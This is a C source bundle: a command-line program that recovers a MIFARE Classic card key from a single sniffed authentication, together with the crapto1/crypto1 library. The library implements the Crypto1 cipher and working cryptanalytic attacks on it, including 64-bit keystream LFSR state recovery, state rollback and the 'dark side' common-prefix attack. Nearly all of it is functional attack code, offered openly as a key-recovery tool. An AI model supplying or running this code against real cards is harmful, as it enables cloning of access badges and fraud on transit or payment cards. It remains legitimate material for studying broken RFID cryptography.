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//Test2.c
#define __STDC_FORMAT_MACROS
#include <inttypes.h>
#define llx PRIx64
#define lli PRIi64

// Test-file: test2.c
#include "crapto1.h"
#include <stdio.h>

int main (int argc, char *argv[]) {
  struct Crypto1State *revstate;
  uint64_t key;     // recovered key
  uint32_t uid;     // serial number
  uint32_t nt;      // tag challenge
  uint32_t nr_enc;  // encrypted reader challenge
  uint32_t ar_enc;  // encrypted reader response
  uint32_t at_enc;  // encrypted tag response
  uint32_t ks2;     // keystream used to encrypt reader response
  uint32_t ks3;     // keystream used to encrypt tag response

  printf("MIFARE Classic key recovery - based 64 bits of keystream\n");
  printf("Recover key from only one complete authentication!\n\n");

  if (argc < 6) {
    printf(" syntax: %s <uid> <nt> <{nr}> <{ar}> <{at}>\n\n",argv[0]);
    return 1;
  }

  sscanf(argv[1],"%x",&uid);
  sscanf(argv[2],"%x",&nt);
  sscanf(argv[3],"%x",&nr_enc);
  sscanf(argv[4],"%x",&ar_enc);
  sscanf(argv[5],"%x",&at_enc);

  printf("Recovering key for:\n");
  printf("  uid: %08x\n",uid);
  printf("   nt: %08x\n",nt);
  printf(" {nr}: %08x\n",nr_enc);
  printf(" {ar}: %08x\n",ar_enc);
  printf(" {at}: %08x\n",at_enc);



    // Generate lfsr succesors of the tag challenge
  printf("\nLFSR succesors of the tag challenge:\n");
  printf("  nt': %08x\n",prng_successor(nt, 64));
  printf(" nt'': %08x\n",prng_successor(nt, 96));

  // Extract the keystream from the messages
  printf("\nKeystream used to generate {ar} and {at}:\n");

  ks2 = ar_enc ^ prng_successor(nt, 64);
  ks3 = at_enc ^ prng_successor(nt, 96);

  printf("  ks2: %08x\n",ks2);
  printf("  ks3: %08x\n",ks3);
  

  revstate = lfsr_recovery64(ks2, ks3);
  lfsr_rollback_word(revstate, 0, 0);
  lfsr_rollback_word(revstate, 0, 0);
  lfsr_rollback_word(revstate, nr_enc, 1);
  lfsr_rollback_word(revstate, uid ^ nt, 0);
  crypto1_get_lfsr(revstate, &key);
  printf("\nFound Key5: [%012"llx"]\n\n",key);

  crypto1_destroy(revstate);

  return 0;
}

//crapto1.c
/*  crapto1.c

    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License
    as published by the Free Software Foundation; either version 2
    of the License, or (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor,
    Boston, MA  02110-1301, US$

    Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#include "crapto1.h"
#include <stdlib.h>

#if !defined LOWMEM && defined __GNUC__
static uint8_t filterlut[1 << 20];
static void __attribute__((constructor)) fill_lut()
{
        uint32_t i;
        for(i = 0; i < 1 << 20; ++i)
                filterlut[i] = filter(i);
}
#define filter(x) (filterlut[(x) & 0xfffff])
#endif

static void quicksort(uint32_t* const start, uint32_t* const stop)
{
    uint32_t *it = start + 1, *rit = stop;

    if(it > rit)
        return;

    while(it < rit)
        if(*it <= *start)
            ++it;
        else if(*rit > *start)
            --rit;
        else
            *it ^= (*it ^= *rit, *rit ^= *it);

    if(*rit >= *start)
        --rit;
    if(rit != start)
        *rit ^= (*rit ^= *start, *start ^= *rit);

    quicksort(start, rit - 1);
    quicksort(rit + 1, stop);
}
/** binsearch
 * Binary search for the first occurence of *stop's MSB in sorted [start,stop]
 */
static inline uint32_t* binsearch(uint32_t *start, uint32_t *stop)
{
    uint32_t mid, val = *stop & 0xff000000;
    while(start != stop)
        if(start[mid = (stop - start) >> 1] > val)
            stop = &start[mid];
        else
            start += mid + 1;

    return start;
}

/** update_contribution
 * helper, calculates the partial linear feedback contributions and puts in MSB
 */
static inline void
update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2)
{
    uint32_t p = *item >> 25;

    p = p << 1 | parity(*item & mask1);
    p = p << 1 | parity(*item & mask2);
    *item = p << 24 | (*item & 0xffffff);
}

/** extend_table
 * using a bit of the keystream extend the table of possible lfsr states
 */
static inline void
extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in)
{
    in <<= 24;
    for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
        if(filter(*tbl) ^ filter(*tbl | 1)) {
            *tbl |= filter(*tbl) ^ bit;
            update_contribution(tbl, m1, m2);
            *tbl ^= in;
        } else if(filter(*tbl) == bit) {
            *++*end = tbl[1];
            tbl[1] = tbl[0] | 1;
            update_contribution(tbl, m1, m2);
            *tbl++ ^= in;
            update_contribution(tbl, m1, m2);
            *tbl ^= in;
        } else
            *tbl-- = *(*end)--;
}
/** extend_table_simple
 * using a bit of the keystream extend the table of possible lfsr states
 */
static inline void extend_table_simple(uint32_t *tbl, uint32_t **end, int bit)
{
    for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1)
        if(filter(*tbl) ^ filter(*tbl | 1))
            *tbl |= filter(*tbl) ^ bit;
        else if(filter(*tbl) == bit) {
            *++*end = *++tbl;
            *tbl = tbl[-1] | 1;
        } else
            *tbl-- = *(*end)--;
}
/** recover
 * recursively narrow down the search space, 4 bits of keystream at a time
 */
static struct Crypto1State*
recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks,
    uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem,
    struct Crypto1State *sl, uint32_t in)
{
    uint32_t *o, *e, i;

    if(rem == -1) {
        for(e = e_head; e <= e_tail; ++e) {
            *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4);
            for(o = o_head; o <= o_tail; ++o, ++sl) {
                sl->even = *o;
                sl->odd = *e ^ parity(*o & LF_POLY_ODD);
                sl[1].odd = sl[1].even = 0;
            }
        }
        return sl;
    }

    for(i = 0; i < 4 && rem--; i++) {
        oks >>= 1;
        eks >>= 1;
        in >>= 2;
        extend_table(o_head, &o_tail, oks & 1, LF_POLY_EVEN << 1 | 1,
                 LF_POLY_ODD << 1, 0);
        if(o_head > o_tail)
            return sl;

        extend_table(e_head, &e_tail, eks & 1, LF_POLY_ODD,
                 LF_POLY_EVEN << 1 | 1, in & 3);
        if(e_head > e_tail)
            return sl;
    }

    quicksort(o_head, o_tail);
    quicksort(e_head, e_tail);

    while(o_tail >= o_head && e_tail >= e_head)
        if(((*o_tail ^ *e_tail) >> 24) == 0) {
            o_tail = binsearch(o_head, o = o_tail);
            e_tail = binsearch(e_head, e = e_tail);
            sl = recover(o_tail--, o, oks,
                     e_tail--, e, eks, rem, sl, in);
        }
        else if(*o_tail > *e_tail)
            o_tail = binsearch(o_head, o_tail) - 1;
        else
            e_tail = binsearch(e_head, e_tail) - 1;

    return sl;
}
/** lfsr_recovery
 * recover the state of the lfsr given 32 bits of the keystream
 * additionally you can use the in parameter to specify the value
 * that was fed into the lfsr at the time the keystream was generated
 */
struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in)
{
    struct Crypto1State *statelist;
    uint32_t *odd_head = 0, *odd_tail = 0, oks = 0;
    uint32_t *even_head = 0, *even_tail = 0, eks = 0;
    int i;

    for(i = 31; i >= 0; i -= 2)
        oks = oks << 1 | BEBIT(ks2, i);
    for(i = 30; i >= 0; i -= 2)
        eks = eks << 1 | BEBIT(ks2, i);

    odd_head = odd_tail = malloc(sizeof(uint32_t) << 21);
    even_head = even_tail = malloc(sizeof(uint32_t) << 21);
    statelist =  malloc(sizeof(struct Crypto1State) << 18);
    if(!odd_tail-- || !even_tail-- || !statelist) {
        free(statelist);
        statelist = 0;
        goto out;
    }

    statelist->odd = statelist->even = 0;

    for(i = 1 << 20; i >= 0; --i) {
        if(filter(i) == (oks & 1))
            *++odd_tail = i;
        if(filter(i) == (eks & 1))
            *++even_tail = i;
    }

    for(i = 0; i < 4; i++) {
        extend_table_simple(odd_head,  &odd_tail, (oks >>= 1) & 1);
        extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1);
    }

    in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00);
    recover(odd_head, odd_tail, oks,
        even_head, even_tail, eks, 11, statelist, in << 1);

out:
    free(odd_head);
    free(even_head);
    return statelist;
}

static const uint32_t S1[] = {     0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214,
    0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83,
    0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA};
static const uint32_t S2[] = {  0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60,
    0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8,
    0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20,
    0x7EC7EE90, 0x7F63F748, 0x79117020};
static const uint32_t T1[] = {
    0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66,
    0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B,
    0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615,
    0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C};
static const uint32_t T2[] = {  0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0,
    0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268,
    0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0,
    0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0,
    0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950,
    0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0};
static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD};
static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0};
/** Reverse 64 bits of keystream into possible cipher states
 * Variation mentioned in the paper. Somewhat optimized version
 */
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3)
{
    struct Crypto1State *statelist, *sl;
    uint8_t oks[32], eks[32], hi[32];
    uint32_t low = 0,  win = 0;
    uint32_t *tail, table[1 << 16];
    int i, j;

    sl = statelist = malloc(sizeof(struct Crypto1State) << 4);
    if(!sl)
        return 0;
    sl->odd = sl->even = 0;

    for(i = 30; i >= 0; i -= 2) {
        oks[i >> 1] = BEBIT(ks2, i);
        oks[16 + (i >> 1)] = BEBIT(ks3, i);
    }
    for(i = 31; i >= 0; i -= 2) {
        eks[i >> 1] = BEBIT(ks2, i);
        eks[16 + (i >> 1)] = BEBIT(ks3, i);
    }

    for(i = 0xfffff; i >= 0; --i) {
        if (filter(i) != oks[0])
            continue;

        *(tail = table) = i;
        for(j = 1; tail >= table && j < 29; ++j)
            extend_table_simple(table, &tail, oks[j]);

        if(tail < table)
            continue;

        for(j = 0; j < 19; ++j)
            low = low << 1 | parity(i & S1[j]);
        for(j = 0; j < 32; ++j)
            hi[j] = parity(i & T1[j]);

        for(; tail >= table; --tail) {
            for(j = 0; j < 3; ++j) {
                *tail = *tail << 1;
                *tail |= parity((i & C1[j]) ^ (*tail & C2[j]));
                if(filter(*tail) != oks[29 + j])
                    goto continue2;
            }

            for(j = 0; j < 19; ++j)
                win = win << 1 | parity(*tail & S2[j]);

            win ^= low;
            for(j = 0; j < 32; ++j) {
                win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]);
                if(filter(win) != eks[j])
                    goto continue2;
            }

            *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail);
            sl->odd = *tail ^ parity(LF_POLY_ODD & win);
            sl->even = win;
            ++sl;
            sl->odd = sl->even = 0;
            continue2:;
        }
    }
    return statelist;
}

/** lfsr_rollback_bit
 * Rollback the shift register in order to get previous states
 */
uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb)
{
    int out;
    uint8_t ret;

    s->odd &= 0xffffff;
    s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);

    out = s->even & 1;
    out ^= LF_POLY_EVEN & (s->even >>= 1);
    out ^= LF_POLY_ODD & s->odd;
    out ^= !!in;
    out ^= (ret = filter(s->odd)) & !!fb;

    s->even |= parity(out) << 23;
    return ret;
}
/** lfsr_rollback_byte
 * Rollback the shift register in order to get previous states
 */
uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb)
{
    int i, ret = 0;
    for (i = 7; i >= 0; --i)
        ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i;
    return ret;
}
/** lfsr_rollback_word
 * Rollback the shift register in order to get previous states
 */
uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb)
{
    int i;
    uint32_t ret = 0;
    for (i = 31; i >= 0; --i)
        ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24);
    return ret;
}

/** nonce_distance
 * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y
 */
static uint16_t *dist = 0;
int nonce_distance(uint32_t from, uint32_t to)
{
    uint16_t x, i;
    if(!dist) {
        dist = malloc(2 << 16);
        if(!dist)
            return -1;
        for (x = i = 1; i; ++i) {
            dist[(x & 0xff) << 8 | x >> 8] = i;
            x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15;
        }
    }
    return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535;
}


static uint32_t fastfwd[2][8] = {
    { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB},
    { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}};
/** lfsr_prefix_ks
 *
 * Is an exported helper function from the common prefix attack
 * Described in the "dark side" paper. It returns an -1 terminated array
 * of possible partial(21 bit) secret state.
 * The required keystream(ks) needs to contain the keystream that was used to
 * encrypt the NACK which is observed when varying only the 3 last bits of Nr
 * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3
 */
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd)
{
    uint32_t c, entry, *candidates = malloc(4 << 10);
    int i, size = 0, good;

    if(!candidates)
        return 0;

    for(i = 0; i < 1 << 21; ++i) {
        for(c = 0, good = 1; good && c < 8; ++c) {
            entry = i ^ fastfwd[isodd][c];
            good &= (BIT(ks[c], isodd) == filter(entry >> 1));
            good &= (BIT(ks[c], isodd + 2) == filter(entry));
        }
        if(good)
            candidates[size++] = i;
    }

    candidates[size] = -1;

    return candidates;
}

/** check_pfx_parity
 * helper function which eliminates possible secret states using parity bits
 */
static struct Crypto1State*
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
              uint32_t odd, uint32_t even, struct Crypto1State* sl)
{
    uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;

    for(c = 0; good && c < 8; ++c) {
        sl->odd = odd ^ fastfwd[1][c];
        sl->even = even ^ fastfwd[0][c];

        lfsr_rollback_bit(sl, 0, 0);
        lfsr_rollback_bit(sl, 0, 0);

        ks3 = lfsr_rollback_bit(sl, 0, 0);
        ks2 = lfsr_rollback_word(sl, 0, 0);
        ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);

        nr = ks1 ^ (prefix | c << 5);
        rr = ks2 ^ rresp;

        good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
        good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
        good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);
        good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);
        good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
    }

    return sl + good;
}


/** lfsr_common_prefix
 * Implentation of the common prefix attack.
 */
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8])
{
    struct Crypto1State *statelist, *s;
    uint32_t *odd, *even, *o, *e, top;

    odd = lfsr_prefix_ks(ks, 1);
    even = lfsr_prefix_ks(ks, 0);

    s = statelist = malloc((sizeof *statelist) << 20);
    if(!s || !odd || !even) {
        free(statelist);
        statelist = 0;
                goto out;
    }

    for(o = odd; *o + 1; ++o)
        for(e = even; *e + 1; ++e)
            for(top = 0; top < 64; ++top) {
                *o += 1 << 21;
                *e += (!(top & 7) + 1) << 21;
                s = check_pfx_parity(pfx, rr, par, *o, *e, s);
            }

    s->odd = s->even = 0;
out:
    free(odd);
    free(even);
    return statelist;
}

//crapto1.h
/*  crapto1.h

    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License
    as published by the Free Software Foundation; either version 2
    of the License, or (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
    MA  02110-1301, US$

    Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#ifndef CRAPTO1_INCLUDED
#define CRAPTO1_INCLUDED
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif

struct Crypto1State {uint32_t odd, even;};
struct Crypto1State* crypto1_create(uint64_t);
void crypto1_destroy(struct Crypto1State*);
void crypto1_get_lfsr(struct Crypto1State*, uint64_t*);
uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int);
uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int);
uint32_t crypto1_word(struct Crypto1State*, uint32_t, int);
uint32_t prng_successor(uint32_t x, uint32_t n);

struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in);
struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3);
uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd);
struct Crypto1State*
lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]);

uint8_t lfsr_rollback_bit(struct Crypto1State* s, uint32_t in, int fb);
uint8_t lfsr_rollback_byte(struct Crypto1State* s, uint32_t in, int fb);
uint32_t lfsr_rollback_word(struct Crypto1State* s, uint32_t in, int fb);
int nonce_distance(uint32_t from, uint32_t to);
#define FOREACH_VALID_NONCE(N, FILTER, FSIZE)\
    uint32_t __n = 0,__M = 0, N = 0;\
    int __i;\
    for(; __n < 1 << 16; N = prng_successor(__M = ++__n, 16))\
        for(__i = FSIZE - 1; __i >= 0; __i--)\
            if(BIT(FILTER, __i) ^ parity(__M & 0xFF01))\
                break;\
            else if(__i)\
                __M = prng_successor(__M, (__i == 7) ? 48 : 8);\
            else

#define LF_POLY_ODD (0x29CE5C)
#define LF_POLY_EVEN (0x870804)
#define BIT(x, n) ((x) >> (n) & 1)
#define BEBIT(x, n) BIT(x, (n) ^ 24)
static inline int parity(uint32_t x)
{
#if !defined __i386__ || !defined __GNUC__
    x ^= x >> 16;
    x ^= x >> 8;
    x ^= x >> 4;
    return BIT(0x6996, x & 0xf);
#else
        asm(    "movl %1, %%eax\n"
        "mov %%ax, %%cx\n"
        "shrl $0x10, %%eax\n"
        "xor %%ax, %%cx\n"
                "xor %%ch, %%cl\n"
                "setpo %%al\n"
                "movzx %%al, %0\n": "=r"(x) : "r"(x): "eax","ecx");
    return x;
#endif
}
static inline int filter(uint32_t const x)
{
    uint32_t f;

    f  = 0xf22c0 >> (x       & 0xf) & 16;
    f |= 0x6c9c0 >> (x >>  4 & 0xf) &  8;
    f |= 0x3c8b0 >> (x >>  8 & 0xf) &  4;
    f |= 0x1e458 >> (x >> 12 & 0xf) &  2;
    f |= 0x0d938 >> (x >> 16 & 0xf) &  1;
    return BIT(0xEC57E80A, f);
}
#ifdef __cplusplus
}
#endif
#endif

/*  crypto1.c

    This program is free software; you can redistribute it and/or
    modify it under the terms of the GNU General Public License
    as published by the Free Software Foundation; either version 2
    of the License, or (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
    MA  02110-1301, US

    Copyright (C) 2008-2008 bla <blapost@gmail.com>
*/
#include "crapto1.h"
#include <stdlib.h>

#define SWAPENDIAN(x)\
    (x = (x >> 8 & 0xff00ff) | (x & 0xff00ff) << 8, x = x >> 16 | x << 16)

struct Crypto1State * crypto1_create(uint64_t key)
{
    struct Crypto1State *s = malloc(sizeof(*s));
    int i;

    for(i = 47;s && i > 0; i -= 2) {
        s->odd  = s->odd  << 1 | BIT(key, (i - 1) ^ 7);
        s->even = s->even << 1 | BIT(key, i ^ 7);
    }
    return s;
}
void crypto1_destroy(struct Crypto1State *state)
{
    free(state);
}
void crypto1_get_lfsr(struct Crypto1State *state, uint64_t *lfsr)
{
    int i;
    for(*lfsr = 0, i = 23; i >= 0; --i) {
        *lfsr = *lfsr << 1 | BIT(state->odd, i ^ 3);
        *lfsr = *lfsr << 1 | BIT(state->even, i ^ 3);
    }
}
uint8_t crypto1_bit(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
    uint32_t feedin;
    uint8_t ret = filter(s->odd);

    feedin  = ret & !!is_encrypted;
    feedin ^= !!in;
    feedin ^= LF_POLY_ODD & s->odd;
    feedin ^= LF_POLY_EVEN & s->even;
    s->even = s->even << 1 | parity(feedin);

    s->odd ^= (s->odd ^= s->even, s->even ^= s->odd);

    return ret;
}
uint8_t crypto1_byte(struct Crypto1State *s, uint8_t in, int is_encrypted)
{
    uint8_t i, ret = 0;

    for (i = 0; i < 8; ++i)
        ret |= crypto1_bit(s, BIT(in, i), is_encrypted) << i;

    return ret;
}
uint32_t crypto1_word(struct Crypto1State *s, uint32_t in, int is_encrypted)
{
    uint32_t i, ret = 0;

    for (i = 0; i < 32; ++i)
        ret |= crypto1_bit(s, BEBIT(in, i), is_encrypted) << (i ^ 24);

    return ret;
}

/* prng_successor
 * helper used to obscure the keystream during authentication
 */
uint32_t prng_successor(uint32_t x, uint32_t n)
{
    SWAPENDIAN(x);
    while(n--)
        x = x >> 1 | (x >> 16 ^ x >> 18 ^ x >> 19 ^ x >> 21) << 31;

    return SWAPENDIAN(x);
}